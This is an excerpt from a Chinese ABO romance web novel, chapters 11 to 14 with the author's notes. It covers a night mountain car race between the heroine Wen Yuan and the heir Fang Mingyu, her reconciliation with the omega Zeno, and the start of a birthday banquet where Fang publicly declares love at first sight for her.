闻鸢一只手握着方向盘,另一只手撑在车窗边,神情漠然地望着骤然亮起的高功率照明器。 一时间,南山公路亮如白昼。 几台无人机掠过上空,随后是此起彼伏的嗡鸣与跑车引擎的轰鸣声。 凭借极好的目力,闻鸢看到烟紫色超跑一马当先,它游刃有余地拐过一个急弯,将其他人远远甩在身后。 飞速行驶、势不可挡的跑车看见“掠影”时骤然放缓速度,随后一个漂移,丝滑地停在闻鸢对面。 挡风玻璃有点反光,但闻鸢依稀能够看到太子爷在对面轻扬下颌,很是得意的样子。 另几辆车随后赶来,在别人开口询问之前,方鸣玉探出半个身子,对他们吩咐道:“遇到了一个朋友,你们先跑。” 在一众探寻的目光下,方鸣玉挂着似有若无的笑意,下车后径直走向闻鸢。 今日他一改狂野风格,低调内敛的黑色衬衫勾勒出他宽阔的肩膀和手臂上的薄肌。 将近一米九的身高显得压迫感十足,手长脚长,比例完美得像个男模。 闻鸢双手插兜站在原地,欣赏了一下,忽而想到了之前查找的资料。 太子爷在燕云大学读书,燕大是著名的理工强校,录取率比华大还要低。 有人说他是以运动特长生的身份降分录取的,也有人说他母亲为学校捐赠了一个高能实验室,于是燕大敞开大门,任他挑选专业。 “发什么呆呢?”锋锐的眉眼蹙起来,似乎有些不满闻鸢的走神。 闻鸢弯了弯眉毛,半开玩笑地说道:“每次看到太过惊艳的人,我的大脑都会过载三秒钟。” 一句溜须拍马的俏皮话,可惜用在了方鸣玉身上。 此男只是愣了一下,然后毫不留情地锐评道:“那你脑容量挺小的。” 岂有此理,夸你还不乐意了? 闻鸢站在他背后,藏在袖子里的手紧握成拳,她用了十分的力气才克制住一拳砸向他的冲动。 见方鸣玉走近跑车,她又将话题引到正轨上来,“方少对‘掠影’还满意吗?” 只见他曲起指节轻轻敲了敲引擎盖,眼里带着兴味,“车型很酷,启动能超过1800马力吗?” 闻鸢点了点头,打开掌心,将手中的车钥匙送到方鸣玉面前。 “要试试吗?” 高大的alpha低头看她,凤眼上挑,眼神凌厉又戏谑。 “条件呢?” 闻鸢垂下眉眼,随后装作毫不在意地笑了笑,“能用一辆跑车交到方少这样的朋友,实属荣幸……” “得了,说重点。”男人压下眉眼,似乎对闻鸢那套外交辞令颇为不满,“另外,我不喜欢油嘴滑舌、巧言令色的‘朋友’。” 你看,又急。 图穷匕现前的铺垫是必须的,否则目的性太强,太子爷受不住。 假如闻鸢下车的时候就劈头盖脸地说:“车可以借你开,开几天都行,只要你答应去泽诺的生日宴会,顺便跟他相个亲、最好结个婚”,那太子爷不得火冒三丈,把她丢下金桥喂鱼。 她知道方鸣玉吃软不吃硬,依着他的性子,闻鸢继续推拉道:“我想你应该比我更清楚这个问题的答案,不是吗?” 方鸣玉双手环胸,半靠在车框上,神态懒洋洋的,“借我开一次车就想让我去参加那个狗屁宴会?” 闻鸢没想到他这样直白,罕见地被噎了一下,“那怎么做你才会出席呢?” 她言辞很恳切,带着一点不易察觉的期待。 方鸣玉歪了歪头,将车钥匙随手抛着玩,状似漫不经心地问道:“为什么一定要我出席?” 哈哈,鬼知道,闻鸢腹诽道。 虽然没料到方鸣玉会问这个问题,但她还是凭借极强的反应能力编了一个原因。 “我的朋友很想见你。” 虽然没有点明那个朋友是谁,但结合上下文语境都知道那个朋友是泽诺。 短短几个字完全可以脑补出一场情感大戏,对于自我意识过剩的alpha群体来说,这句话简直不要太有效。 谁知闻鸢的算盘珠子又一次蹦到了自己脸上。 方鸣玉的脸色不仅没有和缓,反而肉眼可见地变差了。 他深深地看了闻鸢一眼,气得笑出了声,“所以,你是为了那个叫泽诺的人才接近我的。” 话虽然没有错,但从他嘴里说出来怎么那么别扭呢? 闻鸢意识到有点不对劲,但还是迎着他的目光半信半疑地点了点头。 方鸣玉倒吸一口气,扭头就走,却在中途被闻鸢抓住了袖子。 女人圆润的指甲边缘划过肌肤,温暖而细腻的指腹陷入皮肉,方鸣玉为这陌生的温度愣神了一会,低头便撞到了一双熟悉的、倔强的眸子。 “究竟怎么做你才会答应呢?” 刚刚好像踩到方鸣玉的雷了,现在也只能靠卖惨来补救一下。 闻鸢见他没回答,又捏着他的袖子小幅度地晃了晃,将姿态放得很低。 这次,方鸣玉没有拂开她的手,只是扭过头去,盯着不远处山头上亮起的红色荧光,那是这条蜿蜒山道的终点。 就在闻鸢以为没戏的时候,他却忽然转过头来,眼神幽静深远,“来玩场比赛吧,输的人答应对方一个要求。” “什么比赛?”闻鸢顿感不妙。 “你说呢?”方鸣玉敲了敲车窗,随后把车钥匙扔给她,“从这里到终点,用时最少者获胜,如何?” 闻鸢僵在原地,但在方鸣玉炽热的目光下,她只能硬着头皮点了点头。 说实话,这场比赛并不公平。 方鸣玉本来就是赛车手,对南山公路的地况也比闻鸢熟悉,就算他只用三分之一的实力,也足够碾压闻鸢。 事实也的确如此,方鸣玉最先出发,仅用了8分35秒就达到了终点——这个速度甚至比他平时的成绩还要慢半分钟。 好消息是,方鸣玉放水了,但无论从实际还是理论上来说,即使兔子故意放慢速度,乌龟也不可能追上他。 闻鸢盯着手机上传来的路线图和时间表,眼睛缓慢地眨了眨。 半晌后她抬头,目光平静地望向远处,南山在夜空中投下巨大的黑色身影。 在最高处,那颗闪烁的红色光点像是一颗嵌入山体的红宝石,若隐若现,吸引亡命之徒前来采撷。 无人机的嗡鸣声从上方传来,闻鸢看了看中控台上的那张请帖,脑中恍然间浮现出艾薇略显怒意的脸。 手指紧握成拳,指尖被捏成青灰色。 她低头,缓缓、缓缓地吐出一口浊气,随后像是下定决心一般,利落地钻进跑车。 鸢宝:啊哈哈,一不小心踢到钢板啦[比心] 太子爷回复消息时be like:(思索)打几个字,(删掉)重新写一段,(再删掉)千辛万苦终于编辑好之后发现对方回了新消息。 (╯‵□′)╯︵┻━┻ 作者有话说 显示所有文的作话 第11章 第 11 章 第12章 第 12 章 “已开启AI辅助驾驶。”掠影自带的系统管家发出提醒。 闻鸢手动操作了几个数值,将跑车的配置调到最高,冷静吩咐道:“取消安全限制,将全车调至竞速模式。” 南山公路的路线图展示在中控台上,闻鸢系好安全带,眼睛紧紧盯着不远处的无人机,等待出发指令。 无人机在地上投出几道虚影,她在内心默数着,“3…2…1……start!” 随着最后一个字符消失,她猛地踩下油门,掠影如一颗黑色的子弹一般直直射向深邃的夜。 引擎的轰鸣声混杂着震耳欲聋的心跳,穿透闻鸢单薄瘦弱的身躯。她捏紧方向盘,在极度的不安和恐惧中挖掘出一点狂热的快感。 前方一个急弯,她轻轻抬脚,松了刹车,方向盘一打,在刹车片骤然放松的嗡鸣声中,后视镜里闪过半片悬崖的虚影。 一个略显稚嫩的漂移,但对于初学者来说,已经足够大胆和勇敢。 无人机监视镜头下,不少alpha轻呼一声,有人用肩膀撞了撞方鸣玉,对他挤了挤眼睛,“从哪儿找来的小妞,胆子可真大。” 方鸣玉侧了侧身体,和他拉开了距离。他的表情很严肃,严肃到大家以为他在生气,于是那人开解道: “方少安心啦,她过弯的速度比你慢,南1线复杂的弯道那么多,怎么可能快过你?” “如果她选择走南2线呢?”有人提出了这样的猜测。 alpha们看到方鸣玉下颌骤然紧绷,原本冷肃的双眸浮上一层不安与躁动,像是一只不小心弄丢猎物的头狼。 所有人都盯着那块小小的屏幕,当他们看到黑色的残影驶入一条狭窄的通道时,所有人都倒吸了一口冷气。 方鸣玉再也维持不住冷静的外壳,抄起别人手中的对讲机对闻鸢吼道: “你疯了吗?走南2线虽然更快,但以这样的速度,最后那个死亡弯道你根本过不去!你会死的你知道吗?” 他几乎是嘶吼着讲出这几句话,但回答他的只有沙沙的电流声,就当他以为对讲机坏了的时候,一道冷静平和的声音传入耳膜。 “我会赢的,方鸣玉。” 她的声音带着一点清透的质感,如同玉环相撞发出的清脆仃伶声,回环地响在方鸣玉耳际。 这是闻鸢第一次直呼他的名字,明明是被人叫过千百遍的名字,但从她嘴里说出来的时候,却是不一样的感觉。 他捏紧对讲机想要说些什么,却听到对方再次开口道:“我会赢下你的承诺,哪怕失去生命。” 随口的承诺被她衡量得比生命还重要,漫不经心的语调将这句话渲染得如同表明心迹的情话一般。 年轻狂妄的alpha的心,久违地、无法抑制地漏跳了一拍。 电流杂音中传来松枝折断的脆响,后轮正碾过弯道边缘的碎石带。 闻鸢掐去通讯,心无旁骛地驶入最后一段山路。 月光在挡风玻璃上倾泻如瀑,映在她瞳孔里像是跳动着的银。车急速掠过一棵又一棵的树,闻鸢的思维忽然变得很慢很慢。 她好像重新回到了地球上的生活,当时她刚进公司,只是一个小小的业务员。 也正是因为她年轻不经事,主管将一块最偏最远的地区划给她,让她每天开车走山道拜访客户。 因为每天拜访的客户数量都是规定的,闻鸢被迫把小破车当超跑使,时速一度飙到150迈。 经常开车的人都知道,开车实际上是一件非常无聊的事情,因为你无法将多余的精力放在其他事情上。 于是,闲极无聊的她就喜欢干点刺激的事情。她开始自己尝试一些快速过弯的技巧,起初是在视频上学习赛车手怎么操作,后面就是自己通过实操一点点琢磨。 虽然期间也发生了一些危险的事情,但闻鸢依旧乐此不疲,游走在生死界限之间的刺激感令她上瘾。 “滴滴,警告,前方弯道危险,请立即减速!” 要来了,那个死亡弯道。 闻鸢压下眉眼,踩在油门上的脚却没有丝毫松懈,“如果速度减到150迈,到达终点所需时间为?” “预计8分45秒。” 比方鸣玉的成绩还要慢10秒。 这还只是预估,加上轮胎磨损和地面受阻情况,实际用时可能更长。 闻鸢抿了抿唇,狠下心来,“若以200迈继续行驶,分析可行性。” 智能管家加载了一会儿,随即给出一组冰冷的数据。 “撞上山体的概率为60%,后翼受损但安全通过的概率为40%,安全概率较低,请谨慎选择。” 闻鸢哂笑了一下,突然觉得这场比赛的性质变成了赌博。 以前跟泽诺去赌场的时候,她会在不利局面下劝说泽诺收手,但泽诺仍然选择all in,用微薄的几率换取翻倍的筹码。 闻鸢那时候不懂,明明放弃是更安全的选择,但泽诺却依旧一意孤行。 现在她有点理解了。 仪表盘蓝光在她紧绷的下颌游移,她看准时机,左手腕突然逆时针回打半圈,转向机齿轮发出金属咬合的脆响。 离心力将她左肩重重压在车椅侧翼,安全带勒进锁骨,她在一片眩晕中挺直身板,努力控制局面。 车尾横扫过弯心,碎石飞溅撞在防滚架上,前轮在沥青路面擦出两道青烟,当轮胎重新咬住地面时,闻鸢呆滞的目光中闪过一个红点。 那红点被反光玻璃晕开,黏在闻鸢视网膜上,好似一滩暗红色的血渍。 口腔中的血腥味直冲鼻腔,她克制住呕吐的**,指尖推回换挡拨片,尾灯在终点线上划出冷冽的弧光。 车尾最后一记震颤尚未平息,周围就已经响起稀稀拉拉的掌声,站在人群中央的方鸣玉透过前挡风玻璃凝望着闻鸢,神情很深邃。 终点的红光散去余息,一切重回黑暗笼罩。 在幽暗狭窄的车厢内,闻鸢仍旧紧握着方向盘,保持同样的姿势一动不动。 她努力地找回自己呼吸的频率,但皆以失败告终,肺部似乎无法存放太多的空气,所以闻鸢喘得急又痛。 有人敲了敲车窗玻璃,闻鸢机械地转头,在单向玻璃上看到了一张放大的俊脸。 是方鸣玉。 似乎有些着急,他将手掌抵在玻璃上,靠近后大声呼唤道:“闻鸢,你还好吗?” 见车内迟迟没有动静,方鸣玉对其他alpha使了个眼神,“去拿破窗锤。” 话音刚落,车窗落下一小截儿,方鸣玉转头,不期然地撞进了她眸中。 细长而脆弱的睫毛轻轻闪动,带出一双凛冽凌厉的眸子。 面前的闻鸢和以前很不一样。 她的眼睛像星星的碎片,又像被夜风吹碎的月的华光,眼波流转间,划出一道动人心魄的霜雪。 她平时总是带着一种公式化的、假面一般的笑容,一看就是那种长袖善舞、八面玲珑的beta。 所以方鸣玉在见到她的第一眼就觉得无趣。 他讨厌循规蹈矩、一板一眼的人,很多人一生只是为了把自己修炼成一台与社会规则高度契合的精密仪器。 可他却对这种备受推崇的价值观嗤之以鼻。 成年的时候,他不顾父母的反对跑到北境攀冰,冰层脆弱,他判断失误,从岩层上滚落30多米,幸而慌乱间冰镐勾住一块突出的岩石,这才捡回一条命。 那次是方鸣玉第一次体验濒死,危险、奇异、无与伦比,像尼古丁一样让人上瘾。 一张精美的请帖从小缝中伸出,上面缠绕蔓生的紫蔷薇栩栩如生,有如点缀在树枝上的紫色蛇鳞,鎏金纹路蜿蜒出奥兰德家族的族徽。 鸢尾花含蓄的木质香气漫过鼻尖,像是一阵潮湿柔软的甜雾,裹着晨间的薄霜轻轻地落在皮肤上。 起初方鸣玉以为这是闻鸢身上的香水,但后颈处的突如其来的酥麻却让他瞳孔猛缩。 额角渗出细密的汗珠,太阳穴的青筋如同失控的信号灯一样快速闪动。 被他刻意忽略的东西正以摧毁性的速度显现。 “请记得你的承诺,方少。”闻鸢见他接下请柬,便扭头用冰冷僵硬的手指点了点中控台,将车窗合上。 他没回复,只是抬手解开衬衫的第二颗纽扣,眼中的玩世不恭被浓厚的兴味和侵略感取代,仿佛瞳孔深处盘踞着即将喷发的火山。 可惜闻鸢没有注意到他的躁动,只是启动跑车,沉默地离开了这个没有硝烟的战场。 回程的时候,她选了南1线。 车窗大开,夜风吹过松柏,带来一阵清润的潮气。 月光落在她瘦直的肩膀上,下半张脸藏在衣领中,显出孤独的弧度。 肾上腺素褪去之后,那道幻觉仍留在闻鸢脑袋里萦绕不散。 在跑车经过那段最狭窄的弯道,车尾后翼刮过崖壁凸起的岩石,响起一阵血液倒流的嘈杂。 那种声音很像泽诺在最后时刻推翻面前筹码塔,象牙筹码质感细腻,撞在一起的时候发出暴雨一般的哗啦啦的声响。 琥珀色的威士忌映出泽诺百无聊赖的脸,仿佛面前这笔巨额财产只是小孩子过家家所使用的廉价纸牌。 20分钟前,她曾认为自己的行径和泽诺赌博没有区别,生命只是被放在赌桌上的筹码。 但实际上二者有天大的区别。 富人的生命是生命,而穷人的生命是筹码。 她在钢索上张开双臂保持平衡,生存或者毁灭只是概率问题;而泽诺长在家族基金编织的金丝绒中,被豢养得比玫瑰还要娇贵。 黑暗中,她缓缓握紧方向盘,超跑犹如幽灵一般掠过江面,在金桥上留下一道阴郁的影子。 长岛还是老样子,依旧金碧辉煌,安之若素。 虹膜扫描仪上在眼皮上投下淡蓝色光晕,超跑碾过石子,惊飞了围墙上的麻雀。 二楼露台上的灯亮着,泽诺双手撑在栏杆上,低下头透过挡风玻璃与闻鸢对视。 视线交叠了半秒又错开,闻鸢看到他的视线落到了跑车后翼,明显的刮痕和惨不忍睹的凹陷让他惊讶得挑起了眉毛。 方鸣玉:你好疯,我好爱。 闻鸢:此男多半有病。 燕大非常有名的神经小哥哥一枚呀[比心] 作者有话说 显示所有文的作话 第12章 第 12 章 第13章 第 13 章 闻鸢心底那根弦一紧,手指缓缓合拢又放松。 大门打开,迎面便看到站在楼梯上的泽诺。 他穿着一身睡袍,双手环胸,眉头紧蹙,脸上满是山雨欲来的怒意,仿佛下一秒就要抓着闻鸢的领子大声责问。 不过碍于现在二人正在冷战,所以他破天荒地没有开口,只等闻鸢自己解释。 闻鸢当然不会如他所愿,正所谓敌不动我不动,一解释就会落下风。 所以她表情平静、毫无惧色踏上楼梯,每一步都走得稳稳当当。 风衣擦过睡袍边缘垂落的腰带,在和泽诺错身而过时,她明显地感觉到了对方骤然僵硬的身体。 “不解释一下吗?” 闻鸢在比泽诺高一级的台阶上站定,没有回头看他。 二人就保持着这样背对背的姿势,仿佛两只倔强的猛兽,死活不愿意分享自己圈定的地盘。 “我以为你并不在意。” 那语气冷的彻骨,像是由冰霜凝结而成的刀刃,利落而精确地落在了泽诺的痛苦之上。 泽诺几乎要把自己的嘴唇咬破,颤抖的手指抬起一寸,似乎是想要拉住闻鸢的衣角。 那几乎是一个习惯性的动作,从小到大,只要他感到丝毫的不安和焦虑,他就会捏住闻鸢的衣袖或手掌。 理智冷静的女beta会用她的手轻拍他的后背,告诉他一切都会变好。 青春期的时候,他易感期失控,一群渣滓alpha不怀好意地把门锁住,企图强制标记。 那时候闻鸢在参加燕云大学图灵班的面试,能赶来的几率为零。 他在alpha混乱的喘息声中感到一阵蚀骨啮心的绝望。 但在骚乱间,窗户破裂,发出一阵爆响,那响声震耳欲聋,飞溅的玻璃犹如星体爆炸后螺旋坠落的宇宙尘埃。 闻鸢不知道从哪里弄来一根棒球棍,她冷着脸,大手一挥,高大的alpha瞬间倒地。 血液从后脑勺流出,将玻璃边缘染上熔岩般的烫红。 和学校的保安一起解决完所有alpha之后,她熟练地从兜里掏出抑制贴和抑制剂,从拆包装到注射完毕不到3分钟,动作行云流水,而泽诺的信息素则在5分钟内恢复了正常水平。 她就像个英雄一样从天而降,以极高的效率、极冷静的姿态拯救了一个岌岌可危的omega,但代价就是,她永远地错过了进入图灵班学习的机会。 即使她在笔试时已经取得了全国第一的成绩。 后来他听说,闻鸢因擅自离开候场区,便以违规处理,被取消了面试资格。 燕云大学图灵班是国家设立的战略班,目的是培养国家科技人才,被录取的学生不仅可以减免一切学费,毕业后还会被分配到国家重点研究所工作。 可谓是前途无量。 但这些都与闻鸢无关了,从她踏出那个教室开始,从内心的天平倾向泽诺的那一刻开始,闻鸢就失去了脱离奥兰德家族的唯一机会。 学校在公告栏上贴了录取学生的名单,红底金字,带着一种骄傲的威严。 泽诺站在她身边,扭头问她,后悔吗? 她很平静地浏览着录取名单旁边的告示,上面是她面试违规的说明。 白底黑字,下附一个刺目的红章,仿佛某种象征性的惩罚。 “做了就是做了,无所谓后不后悔。与其抱怨路难走,不如直接砍了挡路的东西。” 她的声音依旧像一柄利剑一样,锋锐果决,在年少时便显露出不输alpha的果敢气度。 泽诺在那一刻体会到了人生中为数不多的心悸感,像是肉|体和灵魂同时被电流击穿,无数神经末梢都短路罢工,叫嚣着要把控制权交给对面这个女人。 水晶吊灯闪出炫目的光晕,有如无数个炎热燥热的下午,阳光照在染血的玻璃碎片上,折射出她瘦弱坚定的身影。 而如今,那个无数次守护他的人,沉默地背对着,二人之间的距离如银河一般分明。 分离的焦虑又一次席卷泽诺心头,自尊和恐惧不断博弈,几乎无法分出胜负。 闻鸢觉得多说无益,再加上她今天刚演完“速度与激情”,负面情绪还没完全消化,所以现在并不是讲和的好时机。 右脚刚落到下一阶时,身后的泽诺忽地从背后抱了上来。 她被撞得晃了晃,手慌忙握住扶手,这才不至于摔下楼梯。 泽诺沉闷又委屈的声音从背后响起,“我在意。” “对不起。” 声音很小但足够清楚,清楚到闻鸢觉得自己在做梦。 因为这是泽诺第一次,主动放下身段承认自己的错误,主动伸出橄榄枝向她求和。 她的脑子为这出乎意料的剧情宕机了一小会儿。 见闻鸢不语,泽诺心下更慌,但一时找不到更好的办法,只能收紧了手上的力道,然后用脸轻轻地蹭了蹭闻鸢的腰窝。 像一只做错事的、求主人爱抚的任性小狗。 他忐忑不安,心脏比凌迟还要痛。 沉默了十多秒后,他听到了一声熟悉又轻柔的叹息,像被揉皱又展平的信笺。 那是和好的信号。 闻鸢大发慈悲地转过身来,落了一阶,将他抱了满怀。 他熟练地埋到她的脖颈里,在靠近后颈的部分,鸢尾花的余韵没有完全散去,甜得像半融的白巧克力。 “你不生气了?” 他踮起脚尖,得寸进尺地蹭到了她的脸颊旁,唇瓣刚触到闻鸢柔软的下唇,却猝不及防地被她捏住了下颌。 她舒展了手指,将他的脸颊收拢在掌间。 “这里是客厅,你想做什么?” “道歉啊。” omega故作委屈地眨了眨眼,那双湿漉漉的小狗眼一刻不停地释放着无辜的信号。 想得倒挺美,易感期以外的亲密接触是另外的价钱,知不知道? 柔嫩细腻的面颊如一块富有弹性的蛋糕,闻鸢用了些力道,白皙的面颊上便多了几道红痕。 “疼……”泽诺侧了侧脸颊,下一刻她便松了力道。 细长的手指轻轻摩挲着那片肌肤,闻鸢的浅棕色的瞳孔中划过一丝似有若无的讥嘲。 疼吗?她的心脏曾比这疼痛千倍百倍。 她沉默地闭了闭眼,将内心翻涌的阴郁压下去之后,又用那种包容又无奈的语气安抚道: “该道歉的是我,这几天压力大,把消极情绪带到家里来了。” “我不应该跟你吵架的。” “那辆车……今天晚上开车时候走神,发生了事故,抱歉。” “什么?” 泽诺陡然抬头,眼里闪着惊疑不定的光,“那有没有受伤?” 指尖轻轻点了点omega柔软的眼皮,她语气轻快,“没有,别担心。” 肩胛处疼得快要裂开,表情却滴水不漏。 刚刚拥抱,对泽诺而言,是温存和愉悦,但留给闻鸢的只有痛楚。 “好了,时间不早了,快去休息吧。” 泽诺牵住闻鸢的袖子,亦步亦趋地跟在她身后,小声地说:“那今晚我能跟你睡吗?” 闻鸢无可奈何地看他,他可怜兮兮地缩了缩脖子,缄口不言。 过了一会儿,闻鸢抬手轻轻握住泽诺的手腕,“好吧,前提是你好好睡觉。” 泽诺开心地蹦起来,极快地在闻鸢唇上啄了一下,随后轻车熟路地摸到了闻鸢房里。 像只得逞的小狐狸。 闻鸢洗完澡上床的时候,他正在浏览生日宴宾客名单。 她瞄了一眼,却发现陆寻的名字出现在拟邀名单上,便好奇地问道:“为什么会请他?” 泽诺撇了撇嘴,“妈妈要求的,真搞不懂,明明是我过生日,偏给我找罪受。” 闻鸢挑了挑眉,没有回应,心里却涌起一阵诡异的期待。 一个社交达人,阴阳大师;一个家世显赫,脾气暴躁。 他们两个相遇,正如冷水遇热油,火星撞地球,乐子多不愁。 闻鸢在那边幸灾乐祸中,泽诺继续浏览名单,在一个陌生的名字上停了下来。 “方……鸣玉,谁啊?” 闻鸢刚咧开的嘴角冻结了。 泽诺看她有反应,便继续追问道:“你认识他吗?” 不仅认识他,还认识他妈。 或者更准确一点,演“速度与激情”的闻鸢应该认识,但作为书童的闻鸢当然是不认识的。 于是她避重就轻道:“应该是艾薇阿姨生意上的伙伴吧。” 泽诺狐疑道:“是吗?可我怎么一点印象也……” 闻鸢眼疾手快地关了灯,拉着他滑到蚕丝被里。 修长的手指捏了捏泽诺的后颈,带着点讨好的意味。 “好了好了,先休息,明天你去问问艾薇阿姨。” 把皮球踢给艾薇后,她安心地闭上了眼睛。 肩胛骨仍旧很痛,但为了不让泽诺发现,她没敢擦药油。 好在今晚的疲惫战胜了疼痛,她从闭上眼睛到陷入睡眠拢共不超过五分钟。 泽诺见她入眠,便将自己蜷缩到她怀里。 等到脸颊贴着她的脖颈,感受到她平稳有力的脉搏,他高悬着的心才真正安顿下来。 有时候,泽诺觉得闻鸢是一只不停迁徙的飞鸟,她翅膀有力修长,有能力扛过一切暴风骤雨。 但强健的鸟在看到岛屿时也会停下来歇脚,如果岛屿食物充足,气候适宜,鸟儿就会停止迁徙。 泽诺想做那样的岛屿,用珊瑚礁堆砌,让树林在浅滩织就避风港。 每当潮汐漫过新生的陆地,他就往岩层深处埋入珍珠与黄金,直到整座岛在月光下泛着温润的光。 他会让鸟儿臣服于岛屿的温暖,让她收拢双翼甘心停驻于他精心培育的榕树上。 他会给她一切,金钱、权力、地位,但前提是,鸟儿没有离开的想法。 她最好不要有这样的想法,即使有,也要藏起来别让他知道。 他会发疯的。 鸢宝对泽诺的感情,真的非常复杂。。。要说完全不在意,她做不到,但放下心结在一起,也不可能。 下章有三人修罗场,期待一下吧~[狗头] 作者有话说 显示所有文的作话 第13章 第 13 章 第14章 第 14 章 二人间的不快如同落入池塘的一滴水,很快就消失不见,闻鸢的肩胛骨也在药油的治愈下恢复如初。 生日宴按计划进行,盛夏的长岛,奥兰德宅邸的鎏金灯在暮色中次第亮起,宾客的豪车在湖面投下嶙峋倒影。 闻鸢赤脚站在手织地毯上,透过纱帘看着底下那些权贵推杯换盏。 顶光落在她身后,在脸上留下捉摸不定的阴影。 设计师为她量身定做了一条海雾纱礼服裙,真丝绡将她上身的曲线包裹起来,昂贵布料上的海浪纹理流入腰际以下,便垂落成一片深海的光影。 行走时裙裾在脚踝绽开不对称鱼尾,粼粼的亮片上点缀着贝母,褶皱间藏着的碎水晶如同被浪花冲上岸的星砂。 这条裙子意外地合适,利落的裁剪将闻鸢的身材优势发挥到最大,海雾纱轻盈飘逸,质地清透,贴在皮肤上如同一阵凉爽的清风。 瘦长单薄的身躯斜靠在落地窗前,紫蔷薇纹样顺着脊骨逸散而下,划出一道温柔的海浪。 闻鸢百无聊赖地望着楼下的宾客,金色的暖光将她神色衬得淡漠又游离。 以中庭为线,整个宴会大致可分为两个世界,前方是老钱贵族和权界新秀拓展人脉的名利场,后方则是世家子弟和贵族后代的社交攀比圈。 大门前泊了一辆十分眼熟的烟紫色超跑,闻鸢看见侍者特意跑到约顿面前递了个话,约顿便立即停止了交谈,转身走向前厅迎客。 让主父亲自去迎,这副派头,也只有方鸣玉这厮能享受到。 周围宾客也似乎知道些什么,嘁嘁喳喳地聚在一起,交头接耳,好不热闹。 高大年轻的alpha在进门的一刻就引起了所有人的注意,但他举止落拓,张扬而锋锐的眼睛一刻不停地扫视着会场,似乎在寻找着什么。 闻鸢仗着方鸣玉看不见她,便在高处肆无忌惮地打量着他。 他今天穿了正装,张狂放肆的姿态收敛了一些,看起来倒有点世家公子的风范。 约顿和他说话,他微微弯腰,收敛了所有攻击性,一一耐心回复,像个礼貌温润、最得omega青睐的典范alpha。 要不是闻鸢那天看到他和方琳剑拔弩张的样子,她也要被方鸣玉的好演技给骗过去了。 约顿笑意盈盈地离开了,脸上挂着真心实意的笑容,似乎对他颇为满意。 而在约顿转身离开的那一瞬,方鸣玉放下酒杯,神色敏锐地扭头,朝闻鸢所在的方向望去。 锋锐的眉骨凝出凌厉的阴影,他的眼神带着滚烫的灼热,直直向她扫去。 闻鸢吓了一跳,后退一步,却不小心撞到了泽诺的怀里。 细腻柔软的手指扣住肩膀,泽诺用鼻子轻轻蹭了蹭闻鸢的肩颈,声音闷闷的,“珠宝拿来了,现在戴上?” 闻鸢定了定神,头靠过去,亲昵地碰了碰omega柔软的脸颊,“你帮我戴?” 泽诺笑了笑,情不自禁地吻了吻她的肩膀,拉长声音道: “使唤我?好吧,算你走运,我今天心情不错。” 他抬手取过一串莹蓝色的宝石项链,戴在闻鸢脖子上。 “在拍卖会的册子上看到的,当时就觉得很适合你。” 闻鸢侧头看向镜子,蓝色晶体十分深邃,暖光甚至无法穿透。宝石切面在光线的折射下散发出粼粼波光,恍若月光下流动的潮汐。 “而且,这条项链还有个浪漫的名字——” 手指抚上中央那颗最大最完美的宝石,冰冷的触感让闻鸢有些恍惚。 “海洋之心。” 闻鸢呼吸一窒,缓缓睁大双眼。 “海洋之心?”她惊疑不定地确认道。 泽诺疑惑地点了点头,“有什么问题吗?” 她露出一个难以言喻的表情,口不对心地称赞道:“名字挺好听的。” 就是有点不吉利。 虽然大概率是巧合,但闻鸢脑子里还是不由自主地闪过了《泰坦尼克号》的全部剧情。 那颗海洋之心在现实中被多次转卖,给每一任主人都招来了厄运。 宝石自带的冷意渗进皮肤,通过血管流经四肢百骸。 假如闻鸢是游戏玩家,那屏幕上一定会不断跳出[幸运值-1-1-1-1......]的提示。 不过换个思路,她本人的幸运值一直都是-10086的状态,所以不管减去多少也没差。 反正都是一样倒霉,还能倒霉到哪里去呢? 闻鸢靠着这种朴素的精神胜利法获得了自我安慰。 敲门声笃笃响起,侍女在外面提醒道:“少爷,约顿先生让您到前厅找他一下。” 看来约顿已经等不及要让儿子见见未来的联姻对象了。 “马上。” 泽诺敷衍地回了几句,心思却一直放在闻鸢身上,他认真地打扮着闻鸢,就像在打扮自己心爱的洋娃娃。 配套的大钻戒滑入中指,罕见的菱形切面彰显优雅贵气,和她的裙子相得益彰。 泽诺退后一步打量整体效果,闻鸢打了个大大的哈欠,漫不经心地催促道: “还不下楼吗?约顿叔叔快等急了。” 泽诺挑起一只眉毛,反问道:“你不和我一起下去?” 闻鸢顿了顿,做贼心虚似的移开眼睛,随意找了个借口,“我想去趟卫生间。” “那我等你。” 他好脾气地坐下来,像是铁了心要跟她一起下去,跟她分离一刻也不行。 侍女又上来催,这次声音带着凝重和急促,“少爷,约顿先生有些生气了。” 泽诺看她,眼神戏谑,像是早就看清了她惯用的小把戏。 闻鸢将唇瓣抿成一条直线,绷直的肩膀忽而松懈下来,只能妥协道:“好吧,一起下去。” 矜贵的omega懒懒地向她伸手,闻鸢用力,将他从沙发上拉起来,同时还不忘抚平西装上的褶皱。 在出门的那一刻,泽诺扭过头飞速在闻鸢唇边啄吻了一口,语气暧昧,“别忘了今晚的约定。” 看来他惦记这事儿已经很久了。 闻鸢苦笑了一下。 宴会上的无意义社交已经够辛苦了,结束之后还要和他玩捆|绑play,这工作量真的天理难容。 她跟在泽诺身后默默吐槽,下楼之后便遇到了约顿。 他对泽诺招了招手,白金袖扣映出族徽纹样。 “来认识个新朋友吧。” 约顿侧身,alpha颀长的身躯展露眼前,方鸣玉凌厉的灰眸一扫,闻鸢眼皮跳了跳。 虽然之前已经交待过他,让他在泽诺面前装作不认识她,但闻鸢还是隐隐有种不安。 泽诺敏锐地察觉到了方鸣玉的眼神,右移一步隔断了他的视线。 方鸣玉神色恹恹,唇角紧抿,慵懒开口道:“那位小姐是?” “我朋友。”泽诺言简意赅,没有继续这个话题的愿望,更没想过要把闻鸢介绍给他认识。 “哦——”方鸣玉抿了口香槟,酒液在薄唇上洇出一片水润。 他微微抬头,看到闻鸢略带警告的眼神,狭长的眸子眯起,露出一个玩味的笑容。 一个蔫坏且不怀好意的笑。 闻鸢心中警铃大作,下一秒便听到方鸣玉很认真地请求道: “我对她一见钟情了,能不能把她介绍给我?” 此话一出, 约顿惊了。 泽诺怒了。 闻鸢炸了。 其他人乐了。 此刻,闻鸢感觉自己在看一出异常刺激、反转不迭的豪门家庭情感伦理大戏。 狗血的剧情和无底线的反转经常让她乐不可支,爆笑如雷,直呼编剧有种脑干缺失的美。 但当类似的剧情发生在她身上时,她真是一点都笑不出来了。 周围的人看热闹不嫌事大,华大的校友甚至已经拍照发校园论坛里开始蛐蛐。 距离方鸣玉最近的泽诺心情也美妙不到哪里去。 